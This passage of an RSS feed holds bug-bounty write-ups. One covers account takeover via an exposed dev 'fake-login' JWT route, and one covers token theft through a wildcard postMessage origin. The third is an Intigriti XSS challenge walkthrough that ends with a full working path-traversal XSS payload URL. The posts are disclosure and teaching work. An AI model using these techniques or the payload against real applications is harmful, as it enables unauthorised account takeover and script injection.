<strong>devtarget.com</strong> implemented were listed. Of course, I was thinking of testing all these routes on the <strong>target.com</strong> backend. While scrolling, one of them made me smile, it was <strong>/api/authorization/fake-login</strong>. It takes a userID as a parameter and creates a JWT for that user. How beautiful is that, right?</p><p>I immediately went and tried this route on the <strong>target.com</strong> backend, but it returned <strong>404 Not Found</strong>. Smart choice. Then I thought, if this is <strong>devtarget.com</strong>’s API docs, why not try this route on <strong>devtarget.com</strong>? I sent the request for <strong>UserID 1</strong>, and Here it is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a49fKjbyKwVbdHwgmRl7Kw.png" /></figure><p>Now, we had full control over <strong>User 1</strong>.<br>And I thought, would this token work on production too? Yes, it did. I was able to take over accounts without any user interaction. I reported this issue to the security team of the application, and it got fixed in one day.</p><p>If you haven’t read my previous report (Account Takeover): <a href="https://phlmox.medium.com/account-takeover-via-postmessage-3c493c6d1354">https://phlmox.medium.com/account-takeover-via-postmessage-3c493c6d1354</a></p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f58602a8c4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account Takeover via postMessage]]></title>
            <link>https://phlmox.medium.com/account-takeover-via-postmessage-3c493c6d1354?source=rss-47a4c114027c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c493c6d1354</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[phlmox]]></dc:creator>
            <pubDate>Tue, 11 Mar 2025 15:07:41 GMT</pubDate>
            <atom:updated>2025-03-11T15:07:41.185Z</atom:updated>
            <content:encoded><![CDATA[<p>This write-up is about how I found that one line of JavaScript code was leading to an account takeover. The target has its own bug bounty program, so it wasn’t an illegal act, but I will still keep the program name private.</p><p>This target has a main web application and another domain for OAuth login purposes. Let’s call them <strong>redacted.com</strong> and <strong>redacted-login.com</strong>. Now, let’s get back to the bug.</p><p>When you click “Login” on <strong>redacted.com</strong> and choose one of the OAuth providers, you are redirected to the login page of your OAuth provider (e.g., Google) through the API of <strong>redacted-login.com</strong>. After you log in, your OAuth provider redirects you to the callback URL of <strong>redacted-login.com</strong>. Everything is fine up to this point.</p><p>The last page we see before being redirected to the main web app is the result/success page on the <strong>redacted-login.com</strong> domain. And this page has one postMessage method called in it.</p><p>If you don’t know what postMessage is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BU7J7n7T0OaSd0t2HVt6qg.png" /></figure><p>And here is the code from my target:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*5fsXAMkER6oMgUY1XiDpag.png" /></figure><p>I am pretty sure you have already realized the issue here.</p><ul><li>The application variable is assigned to window.opener OR window.parent. This means that if I use window.open to start the authentication process, I will be the parent window.</li><li>The data variable to be sent includes the user&#39;s token.</li><li>The postMessage target origin is a wildcard. See:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*wTjQ94mCPYn0DBne" /></figure><p>What I did to steal the tokens was simple. I created an HTML page with window.open code in it, then created a listener for the postMessage, and we were done. See the PoC page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*otHjMcyqsd-7Kt4dozs5nQ.png" /></figure><p>Here is the captured code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*vCVpG51hn2-1fFodydaPYA.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c493c6d1354" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intigriti’s XSS Challenge 0125 Writeup]]></title>
            <link>https://phlmox.medium.com/intigritis-xss-challenge-0125-writeup-1e4bf0f64518?source=rss-47a4c114027c------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e4bf0f64518</guid>
            <dc:creator><![CDATA[phlmox]]></dc:creator>
            <pubDate>Fri, 17 Jan 2025 11:55:43 GMT</pubDate>
            <atom:updated>2025-01-17T11:55:43.355Z</atom:updated>
            <content:encoded><![CDATA[<h3>General Looking</h3><p>When we visit the challenge page, we come across a page with sprinkles in the background and a prompt asking for our name in the center of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*_4MfFw6sgKLsZij65ThxxA.png" /></figure><p>And when we type and submit our name, it adds a GET parameter named ‘text’ to the page, and eventually, we see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h5BOvPptKS97RJZ2KJH_Hw.png" /></figure><h3>Solving</h3><p>Good so far. Let’s take a look at the web page source step by step. When we type our name and click the Submit button, this part gets executed. What it basically does is get our name from the input and redirect us to the same URL but with a GET parameter ‘text’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E9Tp1sh3yI2VRWhzaM-ejg.png" /></figure><p>And when we visit the page with our ‘text’ parameter, we see an alert box welcoming us. This happens due to this part of the code. It gets the parameter from the <strong>getParameterByName</strong> user function and checks both if the text exists and if another user function <strong>XSS </strong>returns false.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mG8skG75U3hEyu5PAXWSqQ.png" /></figure><p>We’ll inspect the <strong>XSS</strong> function first because it&#39;s important. Here is the <strong>XSS</strong> function. This function&#39;s purpose is to ensure that the search part or hash part doesn&#39;t contain any &lt; or &gt; characters. Encoding them won&#39;t help because the function decodes these parts before checking. Double encoding won&#39;t help either because the script doesn&#39;t decode them twice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvWaq-w45r8kTFkjwIgqsw.png" /></figure><p>Now we understand two things:</p><ul><li>Firstly, we know we should inject our payload somewhere other than the search or hash part of the URL due to the <strong>XSS </strong>filtering.</li><li>Secondly, the trick of the challenge must lie in the <strong>getParameterByName</strong> user function since there is nothing else to inspect.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMs4414GlojiCtgnKCu6Xw.png" /></figure><p>What this function does is get the URL and prevent regex escape at line 2. Then, it executes the regex and retrieves the second item, which is the value of our parameter. Here is the visualized regex provided by <a href="https://regexper.com/">https://regexper.com/</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*EaMSo-cxtyrWYRx-Pp1mKQ.png" /></figure><p>It checks for a parameter name starting with ? or &amp; characters. However, it doesn&#39;t do that search on location.search, so if we can inject our payload into the path somehow, we could achieve XSS.</p><p>After some testing, we realize the path of the challenge is not a wildcard, so there must be another way.</p><p>First, I thought of the idea of path traversal. I tried <strong>/asdf/../challenge</strong> but, browsers clean this and redirect to /challenge. But what if we encode the slashes and dots?</p><p>I changed my path to <strong>/asdf%2F..%2Fchallenge</strong>, which decodes to <strong>/asdf/../challenge</strong>. The browser didn&#39;t decode it, and I was able to see the challenge page instead of a 404 error.</p><p>We found a way to inject our payload into the path. Since the <strong>getParameterByName</strong> function retrieves the parameter from location.href instead of location.search, we can trick the page to achieve XSS.</p><p>Because the regex checks for ?text= or &amp;text= , we should use one of these in the path. We can&#39;t use ? in the payload as it will break the path, but we can use <strong>&amp;text= </strong>.</p><p>Here is the first discovery of this trick:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHvflk0mqxItqyqex0pAeQ.png" /></figure><p>Then I replaced the asdf with the XSS payload to alert the document domain:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V_6X3UwI7ujGEYqucwRiHw.png" /></figure><p>Final Payload: <a href="https://challenge-0125.intigriti.io/%2f&amp;text=%3Cimg%20src=x%20onerror=alert(document.domain)%3E%2f..%2fchallenge">https://challenge-0125.intigriti.io/%2f&amp;text=%3Cimg%20src=x%20onerror=alert(document.domain)%3E%2f..%2fchallenge</a></p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e4bf0f64518" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>